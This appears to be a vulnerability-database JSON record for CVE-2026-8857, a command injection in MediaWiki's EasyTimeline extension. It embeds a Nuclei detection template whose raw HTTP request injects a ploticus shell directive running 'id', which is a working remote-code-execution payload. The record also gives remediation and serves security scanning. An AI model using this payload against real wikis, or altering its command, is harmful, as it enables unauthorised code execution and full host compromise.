{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-8857/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-8857/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-8857/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-8857/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-8857/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-8857"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-8857"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.02098,
      "kev": false,
      "percentile": 0.80871
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-8857.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2026-8857\n\ninfo:\n  name: MediaWiki EasyTimeline - Code Injection RCE\n  author: pdteam\n  severity: high\n  description: |\n    MediaWiki EasyTimeline (Timeline) extension versions before 1.46.0, 1.45.4, 1.44.6, and 1.43.9 contain a code injection vulnerability caused by insufficient neutralization of newlines in TextData text attributes in EasyTimeline.pl / Timeline.php. A crafted <timeline> block can inject ploticus '#proc getdata' and 'command:' directives, which execute via /bin/sh because EasyTimeline invokes ploticus without the -noshell flag. Exploitation requires the ability to submit timeline markup for rendering — low-privileged edit access, or anonymous access on wikis that allow anonymous editing and API use. This template's parse-based check needs API read access; optional username/password inputs can be supplied for private wikis that deny anonymous read.\n  impact: |\n    Attackers who can submit timeline markup can execute arbitrary OS commands in the context of the EasyTimeline/ploticus process, potentially leading to full host compromise where Timeline is not isolated (for example outside a remote shellbox).\n  remediation: |\n    Upgrade the Timeline / EasyTimeline extension to 1.46.0, 1.45.4, 1.44.6, or 1.43.9 (or later). If an upgrade is not immediately possible, disable the EasyTimeline extension, especially when it is not executed in an isolated shellbox.\n  reference:\n    - https://phabricator.wikimedia.org/T426631\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8857\n    - https://github.com/advisories/GHSA-q6xp-j96f-7vmp\n    - https://www.mail-archive.com/wikitech-l@lists.wikimedia.org/msg97434.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-8857\n    cwe-id: CWE-94\n    epss-score: 0.02098\n    epss-percentile: 0.80871\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: mediawiki\n    product: easytimeline\n    shodan-query: http.component:\"MediaWiki\"\n    fofa-query: app=\"MediaWiki\"\n  tags: cve,cve2026,mediawiki,easytimeline,timeline,rce,intrusive,authenticated,vuln\n\nflow: |\n  if (template[\"username\"] && template[\"password\"]) {\n    http(\"login\") && http(\"detect\") && http(\"exploit\")\n  } else {\n    http(\"detect\") && http(\"exploit\")\n  }\n\nhttp:\n  - id: login\n    raw:\n      - |\n        GET /api.php?action=query&meta=tokens&type=login&format=json HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /api.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=login&format=json&lgname={{username}}&lgpassword={{password}}&lgtoken={{url_encode(logintoken)}}\n\n    extractors:\n      - type: json\n        name: logintoken\n        part: body\n        internal: true\n        json:\n          - '.query.tokens.logintoken'\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"result\":\"Success\"'\n        internal: true\n\n  - id: detect\n    raw:\n      - |\n        GET /api.php?action=query&meta=siteinfo&siprop=extensions|general&format=json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"\\\"generator\\\":\\\"MediaWiki\")'\n          - 'contains(body, \"\\\"name\\\":\\\"EasyTimeline\\\"\")'\n        internal: true\n\n  - id: exploit\n    raw:\n      - |\n        POST /api.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=parse&format=json&contentmodel=wikitext&text=%3Ctimeline%3E%0ADateFormat%3Dyyyy%0AImageSize%3Dwidth%3A200+height%3A100%0APeriod%3Dfrom%3A2000+till%3A2010%0APlotArea%3Dwidth%3A150+height%3A50+left%3A30+bottom%3A30%0ATimeAxis%3Dorientation%3Ahorizontal%0ATextData%3D%0A++pos%3A%2840%2C40%29+fontsize%3AS+text%3A%22x%5Cn%23proc+getdata%5Cncommand%3A+id+%3E+file.err%5Cn{{rand_text_alphanumeric(12)}}%22%0A%3C%2Ftimeline%3E\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'timeline-error'\n      - type: regex\n        part: body\n        regex:\n          - 'uid=\\d+\\([^)]+\\)'\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '(uid=\\d+\\([^)]+\\)(?:\\s+gid=\\d+\\([^)]+\\))?(?:\\s+groups=[^<\"\\\\]+)?)'\n# digest: 4a0a0047304502203e1282cdfaffc23a994ccb9189392634bebaf8d7cfe02dba9cf3375165a2cac6022100aa0e40740959e45c9dd891b4353727132f6b172ce44789b7d13cd9c02fe48dd2:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-8857"
}